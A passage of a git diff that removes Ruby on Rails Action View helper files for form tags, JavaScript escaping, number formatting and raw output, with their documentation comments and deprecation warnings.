- # content_tag(:strong, 'Ask me!')
- # end
- # # => <button name="button" type="button">
- # # <strong>Ask me!</strong>
- # # </button>
- #
- # button_tag "Checkout", data: { disable_with => "Please wait..." }
- # # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
- #
- def button_tag(content_or_options = nil, options = nil, &block)
- options = content_or_options if block_given? && content_or_options.is_a?(Hash)
- options ||= {}
- options = options.stringify_keys
-
- if disable_with = options.delete("disable_with")
- message = ":disable_with option is deprecated and will be removed from Rails 4.1. " \
- "Use 'data: { disable_with: \'Text\' }' instead."
- ActiveSupport::Deprecation.warn message
-
- options["data-disable-with"] = disable_with
- end
-
- if confirm = options.delete("confirm")
- message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
- "Use 'data: { confirm: \'Text\' }' instead'."
- ActiveSupport::Deprecation.warn message
-
- options["data-confirm"] = confirm
- end
-
- options.reverse_merge! 'name' => 'button', 'type' => 'submit'
-
- content_tag :button, content_or_options || 'Button', options, &block
- end
-
- # Displays an image which when clicked will submit the form.
- #
- # <tt>source</tt> is passed to AssetTagHelper#path_to_image
- #
- # ==== Options
- # * <tt>:data</tt> - This option can be used to add custom data attributes.
- # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
- # * Any other key creates standard HTML options for the tag.
- #
- # ==== Data attributes
- #
- # * <tt>confirm: 'question?'</tt> - This will add a JavaScript confirm
- # prompt with the question specified. If the user accepts, the form is
- # processed normally, otherwise no action is taken.
- #
- # ==== Examples
- # image_submit_tag("login.png")
- # # => <input src="/images/login.png" type="image" />
- #
- # image_submit_tag("purchase.png", disabled: true)
- # # => <input disabled="disabled" src="/images/purchase.png" type="image" />
- #
- # image_submit_tag("search.png", class: 'search_button')
- # # => <input class="search_button" src="/images/search.png" type="image" />
- #
- # image_submit_tag("agree.png", disabled: true, class: "agree_disagree_button")
- # # => <input class="agree_disagree_button" disabled="disabled" src="/images/agree.png" type="image" />
- #
- # image_submit_tag("save.png", data: { confirm: "Are you sure?" })
- # # => <input src="/images/save.png" data-confirm="Are you sure?" type="image" />
- def image_submit_tag(source, options = {})
- options = options.stringify_keys
-
- if confirm = options.delete("confirm")
- message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
- "Use 'data: { confirm: \'Text\' }' instead'."
- ActiveSupport::Deprecation.warn message
-
- options["data-confirm"] = confirm
- end
-
- tag :input, { "type" => "image", "src" => path_to_image(source) }.update(options)
- end
-
- # Creates a field set for grouping HTML form elements.
- #
- # <tt>legend</tt> will become the fieldset's title (optional as per W3C).
- # <tt>options</tt> accept the same values as tag.
- #
- # ==== Examples
- # <%= field_set_tag do %>
- # <p><%= text_field_tag 'name' %></p>
- # <% end %>
- # # => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
- #
- # <%= field_set_tag 'Your details' do %>
- # <p><%= text_field_tag 'name' %></p>
- # <% end %>
- # # => <fieldset><legend>Your details</legend><p><input id="name" name="name" type="text" /></p></fieldset>
- #
- # <%= field_set_tag nil, class: 'format' do %>
- # <p><%= text_field_tag 'name' %></p>
- # <% end %>
- # # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
- def field_set_tag(legend = nil, options = nil, &block)
- output = tag(:fieldset, options, true)
- output.safe_concat(content_tag(:legend, legend)) unless legend.blank?
- output.concat(capture(&block)) if block_given?
- output.safe_concat("</fieldset>")
- end
-
- # Creates a text field of type "color".
- #
- # ==== Options
- # * Accepts the same options as text_field_tag.
- def color_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "color"))
- end
-
- # Creates a text field of type "search".
- #
- # ==== Options
- # * Accepts the same options as text_field_tag.
- def search_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "search"))
- end
-
- # Creates a text field of type "tel".
- #
- # ==== Options
- # * Accepts the same options as text_field_tag.
- def telephone_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "tel"))
- end
- alias phone_field_tag telephone_field_tag
-
- # Creates a text field of type "date".
- #
- # ==== Options
- # * Accepts the same options as text_field_tag.
- def date_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "date"))
- end
-
- # Creates a text field of type "time".
- #
- # === Options
- # * <tt>:min</tt> - The minimum acceptable value.
- # * <tt>:max</tt> - The maximum acceptable value.
- # * <tt>:step</tt> - The acceptable value granularity.
- # * Otherwise accepts the same options as text_field_tag.
- def time_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "time"))
- end
-
- # Creates a text field of type "datetime".
- #
- # === Options
- # * <tt>:min</tt> - The minimum acceptable value.
- # * <tt>:max</tt> - The maximum acceptable value.
- # * <tt>:step</tt> - The acceptable value granularity.
- # * Otherwise accepts the same options as text_field_tag.
- def datetime_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "datetime"))
- end
-
- # Creates a text field of type "datetime-local".
- #
- # === Options
- # * <tt>:min</tt> - The minimum acceptable value.
- # * <tt>:max</tt> - The maximum acceptable value.
- # * <tt>:step</tt> - The acceptable value granularity.
- # * Otherwise accepts the same options as text_field_tag.
- def datetime_local_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "datetime-local"))
- end
-
- # Creates a text field of type "month".
- #
- # === Options
- # * <tt>:min</tt> - The minimum acceptable value.
- # * <tt>:max</tt> - The maximum acceptable value.
- # * <tt>:step</tt> - The acceptable value granularity.
- # * Otherwise accepts the same options as text_field_tag.
- def month_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "month"))
- end
-
- # Creates a text field of type "week".
- #
- # === Options
- # * <tt>:min</tt> - The minimum acceptable value.
- # * <tt>:max</tt> - The maximum acceptable value.
- # * <tt>:step</tt> - The acceptable value granularity.
- # * Otherwise accepts the same options as text_field_tag.
- def week_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "week"))
- end
-
- # Creates a text field of type "url".
- #
- # ==== Options
- # * Accepts the same options as text_field_tag.
- def url_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "url"))
- end
-
- # Creates a text field of type "email".
- #
- # ==== Options
- # * Accepts the same options as text_field_tag.
- def email_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "email"))
- end
-
- # Creates a number field.
- #
- # ==== Options
- # * <tt>:min</tt> - The minimum acceptable value.
- # * <tt>:max</tt> - The maximum acceptable value.
- # * <tt>:in</tt> - A range specifying the <tt>:min</tt> and
- # <tt>:max</tt> values.
- # * <tt>:step</tt> - The acceptable value granularity.
- # * Otherwise accepts the same options as text_field_tag.
- #
- # ==== Examples
- # number_field_tag 'quantity', nil, in: 1...10
- # # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
- def number_field_tag(name, value = nil, options = {})
- options = options.stringify_keys
- options["type"] ||= "number"
- if range = options.delete("in") || options.delete("within")
- options.update("min" => range.min, "max" => range.max)
- end
- text_field_tag(name, value, options)
- end
-
- # Creates a range form element.
- #
- # ==== Options
- # * Accepts the same options as number_field_tag.
- def range_field_tag(name, value = nil, options = {})
- number_field_tag(name, value, options.stringify_keys.update("type" => "range"))
- end
-
- # Creates the hidden UTF8 enforcer tag. Override this method in a helper
- # to customize the tag.
- def utf8_enforcer_tag
- tag(:input, :type => "hidden", :name => "utf8", :value => "&#x2713;".html_safe)
- end
-
- private
- def html_options_for_form(url_for_options, options)
- options.stringify_keys.tap do |html_options|
- html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
- # The following URL is unescaped, this is just a hash of options, and it is the
- # responsibility of the caller to escape all the values.
- html_options["action"] = url_for(url_for_options)
- html_options["accept-charset"] = "UTF-8"
-
- html_options["data-remote"] = true if html_options.delete("remote")
-
- if html_options["data-remote"] &&
- !embed_authenticity_token_in_remote_forms &&
- html_options["authenticity_token"].blank?
- # The authenticity token is taken from the meta tag in this case
- html_options["authenticity_token"] = false
- elsif html_options["authenticity_token"] == true
- # Include the default authenticity_token, which is only generated when its set to nil,
- # but we needed the true value to override the default of no authenticity_token on data-remote.
- html_options["authenticity_token"] = nil
- end
- end
- end
-
- def extra_tags_for_form(html_options)
- authenticity_token = html_options.delete("authenticity_token")
- method = html_options.delete("method").to_s
-
- method_tag = case method
- when /^get$/i # must be case-insensitive, but can't use downcase as might be nil
- html_options["method"] = "get"
- ''
- when /^post$/i, "", nil
- html_options["method"] = "post"
- token_tag(authenticity_token)
- else
- html_options["method"] = "post"
- method_tag(method) + token_tag(authenticity_token)
- end
-
- tags = utf8_enforcer_tag << method_tag
- content_tag(:div, tags, :style => 'margin:0;padding:0;display:inline')
- end
-
- def form_tag_html(html_options)
- extra_tags = extra_tags_for_form(html_options)
- tag(:form, html_options, true) + extra_tags
- end
-
- def form_tag_in_block(html_options, &block)
- content = capture(&block)
- output = form_tag_html(html_options)
- output << content
- output.safe_concat("</form>")
- end
-
- # see http://www.w3.org/TR/html4/types.html#type-name
- def sanitize_to_id(name)
- name.to_s.gsub(']','').gsub(/[^-a-zA-Z0-9:.]/, "_")
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/javascript_helper.rb b/actionpack/lib/action_view/helpers/javascript_helper.rb
deleted file mode 100644
index cfdd7c77d8..0000000000
--- a/actionpack/lib/action_view/helpers/javascript_helper.rb
+++ /dev/null
@@ -1,117 +0,0 @@
-require 'action_view/helpers/tag_helper'
-
-module ActionView
- module Helpers
- module JavaScriptHelper
- JS_ESCAPE_MAP = {
- '\\' => '\\\\',
- '</' => '<\/',
- "\r\n" => '\n',
- "\n" => '\n',
- "\r" => '\n',
- '"' => '\\"',
- "'" => "\\'"
- }
-
- JS_ESCAPE_MAP["\342\200\250".force_encoding('UTF-8').encode!] = '&#x2028;'
- JS_ESCAPE_MAP["\342\200\251".force_encoding('UTF-8').encode!] = '&#x2029;'
-
- # Escapes carriage returns and single and double quotes for JavaScript segments.
- #
- # Also available through the alias j(). This is particularly helpful in JavaScript
- # responses, like:
- #
- # $('some_element').replaceWith('<%=j render 'some/element_template' %>');
- def escape_javascript(javascript)
- if javascript
- result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] }
- javascript.html_safe? ? result.html_safe : result
- else
- ''
- end
- end
-
- alias_method :j, :escape_javascript
-
- # Returns a JavaScript tag with the +content+ inside. Example:
- # javascript_tag "alert('All is good')"
- #
- # Returns:
- # <script>
- # //<![CDATA[
- # alert('All is good')
- # //]]>
- # </script>
- #
- # +html_options+ may be a hash of attributes for the <tt>\<script></tt>
- # tag.
- #
- # javascript_tag "alert('All is good')", defer: 'defer'
- # # => <script defer="defer">alert('All is good')</script>
- #
- # Instead of passing the content as an argument, you can also use a block
- # in which case, you pass your +html_options+ as the first parameter.
- #
- # <%= javascript_tag defer: 'defer' do -%>
- # alert('All is good')
- # <% end -%>
- def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
- content =
- if block_given?
- html_options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
- capture(&block)
- else
- content_or_options_with_block
- end
-
- content_tag(:script, javascript_cdata_section(content), html_options)
- end
-
- def javascript_cdata_section(content) #:nodoc:
- "\n//#{cdata_section("\n#{content}\n//")}\n".html_safe
- end
-
- # Returns a button whose +onclick+ handler triggers the passed JavaScript.
- #
- # The helper receives a name, JavaScript code, and an optional hash of HTML options. The
- # name is used as button label and the JavaScript code goes into its +onclick+ attribute.
- # If +html_options+ has an <tt>:onclick</tt>, that one is put before +function+.
- #
- # button_to_function "Greeting", "alert('Hello world!')", class: "ok"
- # # => <input class="ok" onclick="alert('Hello world!');" type="button" value="Greeting" />
- #
- def button_to_function(name, function=nil, html_options={})
- message = "button_to_function is deprecated and will be removed from Rails 4.1. We recomend to use Unobtrusive JavaScript instead. " +
- "See http://guides.rubyonrails.org/working_with_javascript_in_rails.html#unobtrusive-javascript"
- ActiveSupport::Deprecation.warn message
-
- onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function};"
-
- tag(:input, html_options.merge(:type => 'button', :value => name, :onclick => onclick))
- end
-
- # Returns a link whose +onclick+ handler triggers the passed JavaScript.
- #
- # The helper receives a name, JavaScript code, and an optional hash of HTML options. The
- # name is used as the link text and the JavaScript code goes into the +onclick+ attribute.
- # If +html_options+ has an <tt>:onclick</tt>, that one is put before +function+. Once all
- # the JavaScript is set, the helper appends "; return false;".
- #
- # The +href+ attribute of the tag is set to "#" unless +html_options+ has one.
- #
- # link_to_function "Greeting", "alert('Hello world!')", class: "nav_link"
- # # => <a class="nav_link" href="#" onclick="alert('Hello world!'); return false;">Greeting</a>
- #
- def link_to_function(name, function, html_options={})
- message = "link_to_function is deprecated and will be removed from Rails 4.1. We recomend to use Unobtrusive JavaScript instead. " +
- "See http://guides.rubyonrails.org/working_with_javascript_in_rails.html#unobtrusive-javascript"
- ActiveSupport::Deprecation.warn message
-
- onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function}; return false;"
- href = html_options[:href] || '#'
-
- content_tag(:a, name, html_options.merge(:href => href, :onclick => onclick))
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/number_helper.rb b/actionpack/lib/action_view/helpers/number_helper.rb
deleted file mode 100644
index 9e1be65b1a..0000000000
--- a/actionpack/lib/action_view/helpers/number_helper.rb
+++ /dev/null
@@ -1,416 +0,0 @@
-# encoding: utf-8
-
-require 'active_support/core_ext/hash/keys'
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/number_helper'
-
-module ActionView
- # = Action View Number Helpers
- module Helpers #:nodoc:
-
- # Provides methods for converting numbers into formatted strings.
- # Methods are provided for phone numbers, currency, percentage,
- # precision, positional notation, file size and pretty printing.
- #
- # Most methods expect a +number+ argument, and will return it
- # unchanged if can't be converted into a valid number.
- module NumberHelper
-
- # Raised when argument +number+ param given to the helpers is invalid and
- # the option :raise is set to +true+.
- class InvalidNumberError < StandardError
- attr_accessor :number
- def initialize(number)
- @number = number
- end
- end
-
- # Formats a +number+ into a US phone number (e.g., (555)
- # 123-9876). You can customize the format in the +options+ hash.
- #
- # * <tt>:area_code</tt> - Adds parentheses around the area code.
- # * <tt>:delimiter</tt> - Specifies the delimiter to use
- # (defaults to "-").
- # * <tt>:extension</tt> - Specifies an extension to add to the
- # end of the generated number.
- # * <tt>:country_code</tt> - Sets the country code for the phone
- # number.
- # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
- # the argument is invalid.
- #
- # number_to_phone(5551234) # => 555-1234
- # number_to_phone("5551234") # => 555-1234
- # number_to_phone(1235551234) # => 123-555-1234
- # number_to_phone(1235551234, area_code: true) # => (123) 555-1234
- # number_to_phone(1235551234, delimiter: " ") # => 123 555 1234
- # number_to_phone(1235551234, area_code: true, extension: 555) # => (123) 555-1234 x 555
- # number_to_phone(1235551234, country_code: 1) # => +1-123-555-1234
- # number_to_phone("123a456") # => 123a456
- # number_to_phone("1234a567", raise: true) # => InvalidNumberError
- #
- # number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: ".")
- # # => +1.123.555.1234 x 1343
- def number_to_phone(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- parse_float(number, true) if options.delete(:raise)
- ERB::Util.html_escape(ActiveSupport::NumberHelper.number_to_phone(number, options))
- end
-
- # Formats a +number+ into a currency string (e.g., $13.65). You
- # can customize the format in the +options+ hash.
- #
- # * <tt>:locale</tt> - Sets the locale to be used for formatting
- # (defaults to current locale).
- # * <tt>:precision</tt> - Sets the level of precision (defaults
- # to 2).
- # * <tt>:unit</tt> - Sets the denomination of the currency
- # (defaults to "$").
- # * <tt>:separator</tt> - Sets the separator between the units
- # (defaults to ".").
- # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
- # to ",").
- # * <tt>:format</tt> - Sets the format for non-negative numbers
- # (defaults to "%u%n"). Fields are <tt>%u</tt> for the
- # currency, and <tt>%n</tt> for the number.
- # * <tt>:negative_format</tt> - Sets the format for negative
- # numbers (defaults to prepending an hyphen to the formatted
- # number given by <tt>:format</tt>). Accepts the same fields
- # than <tt>:format</tt>, except <tt>%n</tt> is here the
- # absolute value of the number.
- # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
- # the argument is invalid.
- #
- # number_to_currency(1234567890.50) # => $1,234,567,890.50
- # number_to_currency(1234567890.506) # => $1,234,567,890.51
- # number_to_currency(1234567890.506, precision: 3) # => $1,234,567,890.506
- # number_to_currency(1234567890.506, locale: :fr) # => 1 234 567 890,51 €
- # number_to_currency("123a456") # => $123a456
- #
- # number_to_currency("123a456", raise: true) # => InvalidNumberError
- #
- # number_to_currency(-1234567890.50, negative_format: "(%u%n)")
- # # => ($1,234,567,890.50)
- # number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "")
- # # => &pound;1234567890,50
- # number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "", format: "%n %u")
- # # => 1234567890,50 &pound;
- def number_to_currency(number, options = {})
- return unless number
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_currency(number, options)
- }
- end
-
- # Formats a +number+ as a percentage string (e.g., 65%). You can
- # customize the format in the +options+ hash.
- #
- #
- # * <tt>:locale</tt> - Sets the locale to be used for formatting
- # (defaults to current locale).
- # * <tt>:precision</tt> - Sets the precision of the number
- # (defaults to 3).
- # * <tt>:significant</tt> - If +true+, precision will be the #
- # of significant_digits. If +false+, the # of fractional
- # digits (defaults to +false+).
- # * <tt>:separator</tt> - Sets the separator between the
- # fractional and integer digits (defaults to ".").
- # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
- # to "").
- # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
- # insignificant zeros after the decimal separator (defaults to
- # +false+).
- # * <tt>:format</tt> - Specifies the format of the percentage
- # string The number field is <tt>%n</tt> (defaults to "%n%").
- # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
- # the argument is invalid.
- #
- # number_to_percentage(100) # => 100.000%
- # number_to_percentage("98") # => 98.000%
- # number_to_percentage(100, precision: 0) # => 100%
- # number_to_percentage(1000, delimiter: '.', separator: ',') # => 1.000,000%
- # number_to_percentage(302.24398923423, precision: 5) # => 302.24399%
- # number_to_percentage(1000, locale: :fr) # => 1 000,000%
- # number_to_percentage("98a") # => 98a%
- # number_to_percentage(100, format: "%n %") # => 100 %
- #
- # number_to_percentage("98a", raise: true) # => InvalidNumberError
- def number_to_percentage(number, options = {})
- return unless number
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_percentage(number, options)
- }
- end
-
- # Formats a +number+ with grouped thousands using +delimiter+
- # (e.g., 12,324). You can customize the format in the +options+
- # hash.
- #
- # * <tt>:locale</tt> - Sets the locale to be used for formatting
- # (defaults to current locale).
- # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
- # to ",").
- # * <tt>:separator</tt> - Sets the separator between the
- # fractional and integer digits (defaults to ".").
- # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
- # the argument is invalid.
- #
- # number_with_delimiter(12345678) # => 12,345,678
- # number_with_delimiter("123456") # => 123,456
- # number_with_delimiter(12345678.05) # => 12,345,678.05
- # number_with_delimiter(12345678, delimiter: ".") # => 12.345.678
- # number_with_delimiter(12345678, delimiter: ",") # => 12,345,678
- # number_with_delimiter(12345678.05, separator: " ") # => 12,345,678 05
- # number_with_delimiter(12345678.05, locale: :fr) # => 12 345 678,05
- # number_with_delimiter("112a") # => 112a
- # number_with_delimiter(98765432.98, delimiter: " ", separator: ",")
- # # => 98 765 432,98
- #
- # number_with_delimiter("112a", raise: true) # => raise InvalidNumberError
- def number_with_delimiter(number, options = {})
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_delimited(number, options)
- }
- end
-
- # Formats a +number+ with the specified level of
- # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
- # +:significant+ is +false+, and 5 if +:significant+ is +true+).
- # You can customize the format in the +options+ hash.
- #
- # * <tt>:locale</tt> - Sets the locale to be used for formatting
- # (defaults to current locale).
- # * <tt>:precision</tt> - Sets the precision of the number
- # (defaults to 3).
- # * <tt>:significant</tt> - If +true+, precision will be the #
- # of significant_digits. If +false+, the # of fractional
- # digits (defaults to +false+).
- # * <tt>:separator</tt> - Sets the separator between the
- # fractional and integer digits (defaults to ".").
- # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
- # to "").
- # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
- # insignificant zeros after the decimal separator (defaults to
- # +false+).
- # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
- # the argument is invalid.
- #
- # number_with_precision(111.2345) # => 111.235
- # number_with_precision(111.2345, precision: 2) # => 111.23
- # number_with_precision(13, precision: 5) # => 13.00000
- # number_with_precision(389.32314, precision: 0) # => 389
- # number_with_precision(111.2345, significant: true) # => 111
- # number_with_precision(111.2345, precision: 1, significant: true) # => 100
- # number_with_precision(13, precision: 5, significant: true) # => 13.000
- # number_with_precision(111.234, locale: :fr) # => 111,234
- #
- # number_with_precision(13, precision: 5, significant: true, strip_insignificant_zeros: true)
- # # => 13
- #
- # number_with_precision(389.32314, precision: 4, significant: true) # => 389.3
- # number_with_precision(1111.2345, precision: 2, separator: ',', delimiter: '.')
- # # => 1.111,23
- def number_with_precision(number, options = {})
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_rounded(number, options)
- }
- end
-
- # Formats the bytes in +number+ into a more understandable
- # representation (e.g., giving it 1500 yields 1.5 KB). This
- # method is useful for reporting file sizes to users. You can
- # customize the format in the +options+ hash.
- #
- # See <tt>number_to_human</tt> if you want to pretty-print a
- # generic number.
- #
- # * <tt>:locale</tt> - Sets the locale to be used for formatting
- # (defaults to current locale).
- # * <tt>:precision</tt> - Sets the precision of the number
- # (defaults to 3).
- # * <tt>:significant</tt> - If +true+, precision will be the #
- # of significant_digits. If +false+, the # of fractional
- # digits (defaults to +true+)
- # * <tt>:separator</tt> - Sets the separator between the
- # fractional and integer digits (defaults to ".").
- # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
- # to "").
- # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
- # insignificant zeros after the decimal separator (defaults to
- # +true+)
- # * <tt>:prefix</tt> - If +:si+ formats the number using the SI
- # prefix (defaults to :binary)
- # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
- # the argument is invalid.
- #
- # number_to_human_size(123) # => 123 Bytes
- # number_to_human_size(1234) # => 1.21 KB
- # number_to_human_size(12345) # => 12.1 KB
- # number_to_human_size(1234567) # => 1.18 MB
- # number_to_human_size(1234567890) # => 1.15 GB
- # number_to_human_size(1234567890123) # => 1.12 TB
- # number_to_human_size(1234567, precision: 2) # => 1.2 MB
- # number_to_human_size(483989, precision: 2) # => 470 KB
- # number_to_human_size(1234567, precision: 2, separator: ',') # => 1,2 MB
- #
- # Non-significant zeros after the fractional separator are
- # stripped out by default (set
- # <tt>:strip_insignificant_zeros</tt> to +false+ to change
- # that):
- #
- # number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
- # number_to_human_size(524288000, precision: 5) # => "500 MB"
- def number_to_human_size(number, options = {})
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_human_size(number, options)
- }
- end
-
- # Pretty prints (formats and approximates) a number in a way it
- # is more readable by humans (eg.: 1200000000 becomes "1.2
- # Billion"). This is useful for numbers that can get very large
- # (and too hard to read).
- #
- # See <tt>number_to_human_size</tt> if you want to print a file
- # size.
- #
- # You can also define you own unit-quantifier names if you want
- # to use other decimal units (eg.: 1500 becomes "1.5
- # kilometers", 0.150 becomes "150 milliliters", etc). You may
- # define a wide range of unit quantifiers, even fractional ones
- # (centi, deci, mili, etc).
- #
- # ==== Options
- #
- # * <tt>:locale</tt> - Sets the locale to be used for formatting
- # (defaults to current locale).
- # * <tt>:precision</tt> - Sets the precision of the number
- # (defaults to 3).
- # * <tt>:significant</tt> - If +true+, precision will be the #
- # of significant_digits. If +false+, the # of fractional
- # digits (defaults to +true+)
- # * <tt>:separator</tt> - Sets the separator between the
- # fractional and integer digits (defaults to ".").
- # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
- # to "").
- # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
- # insignificant zeros after the decimal separator (defaults to
- # +true+)
- # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
- # string containing an i18n scope where to find this hash. It
- # might have the following keys:
- # * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
- # *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
- # *<tt>:billion</tt>, <tt>:trillion</tt>,
- # *<tt>:quadrillion</tt>
- # * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
- # *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
- # *<tt>:pico</tt>, <tt>:femto</tt>
- # * <tt>:format</tt> - Sets the format of the output string
- # (defaults to "%n %u"). The field types are:
- # * %u - The quantifier (ex.: 'thousand')
- # * %n - The number
- # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
- # the argument is invalid.
- #
- # number_to_human(123) # => "123"
- # number_to_human(1234) # => "1.23 Thousand"
- # number_to_human(12345) # => "12.3 Thousand"
- # number_to_human(1234567) # => "1.23 Million"
- # number_to_human(1234567890) # => "1.23 Billion"
- # number_to_human(1234567890123) # => "1.23 Trillion"
- # number_to_human(1234567890123456) # => "1.23 Quadrillion"
- # number_to_human(1234567890123456789) # => "1230 Quadrillion"
- # number_to_human(489939, precision: 2) # => "490 Thousand"
- # number_to_human(489939, precision: 4) # => "489.9 Thousand"
- # number_to_human(1234567, precision: 4,
- # significant: false) # => "1.2346 Million"
- # number_to_human(1234567, precision: 1,
- # separator: ',',
- # significant: false) # => "1,2 Million"
- #
- # Non-significant zeros after the decimal separator are stripped
- # out by default (set <tt>:strip_insignificant_zeros</tt> to
- # +false+ to change that):
- # number_to_human(12345012345, significant_digits: 6) # => "12.345 Billion"
- # number_to_human(500000000, precision: 5) # => "500 Million"
- #
- # ==== Custom Unit Quantifiers
- #
- # You can also use your own custom unit quantifiers:
- # number_to_human(500000, units: {unit: "ml", thousand: "lt"}) # => "500 lt"
- #
- # If in your I18n locale you have:
- # distance:
- # centi:
- # one: "centimeter"
- # other: "centimeters"
- # unit:
- # one: "meter"
- # other: "meters"
- # thousand:
- # one: "kilometer"
- # other: "kilometers"
- # billion: "gazillion-distance"
- #
- # Then you could do:
- #
- # number_to_human(543934, units: :distance) # => "544 kilometers"
- # number_to_human(54393498, units: :distance) # => "54400 kilometers"
- # number_to_human(54393498000, units: :distance) # => "54.4 gazillion-distance"
- # number_to_human(343, units: :distance, precision: 1) # => "300 meters"
- # number_to_human(1, units: :distance) # => "1 meter"
- # number_to_human(0.34, units: :distance) # => "34 centimeters"
- #
- def number_to_human(number, options = {})
- options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
- wrap_with_output_safety_handling(number, options.delete(:raise)) {
- ActiveSupport::NumberHelper.number_to_human(number, options)
- }
- end
-
- private
-
- def escape_unsafe_delimiters_and_separators(options)
- options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator] && !options[:separator].html_safe?
- options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter] && !options[:delimiter].html_safe?
- options
- end
-
- def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
- valid_float = valid_float?(number)
- raise InvalidNumberError, number if raise_on_invalid && !valid_float
-
- formatted_number = yield
-
- if valid_float || number.html_safe?
- formatted_number.html_safe
- else
- formatted_number
- end
- end
-
- def valid_float?(number)
- !parse_float(number, false).nil?
- end
-
- def parse_float(number, raise_error)
- Float(number)
- rescue ArgumentError, TypeError
- raise InvalidNumberError, number if raise_error
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/output_safety_helper.rb b/actionpack/lib/action_view/helpers/output_safety_helper.rb
deleted file mode 100644
index 60a4478c26..0000000000
--- a/actionpack/lib/action_view/helpers/output_safety_helper.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'active_support/core_ext/string/output_safety'
-
-module ActionView #:nodoc:
- # = Action View Raw Output Helper
- module Helpers #:nodoc:
- module OutputSafetyHelper
- # This method outputs without escaping a string. Since escaping tags is
- # now default, this can be used when you don't want Rails to automatically
- # escape tags. This is not recommended if the data is coming from the user's
- # input.
- #
- # For example:
- #
- # raw @user.name
- # # => 'Jimmy <alert>Tables</alert>'
- def raw(stringish)
- stringish.to_s.html_safe
- end
-
- # This method returns a html safe string similar to what <tt>Array#join</tt>
- # would return. All items in the array, including the supplied separator, are
- # html escaped unless they are html safe, and the returned string is marked
- # as html safe.
- #
- # safe_join(["<p>foo</p>".html_safe, "<p>bar</p>"], "<br />")
- # # => "<p>foo</p>&lt;br /&gt;&lt;p&gt;bar&lt;/p&gt;"
- #
- # safe_join(["<p>foo</p>".html_safe, "<p>bar</p>".html_safe], "<br />".html_safe)
- # # => "<p>foo</p><br /><p>bar</p>"
- #
- def safe_join(array, sep=$,)
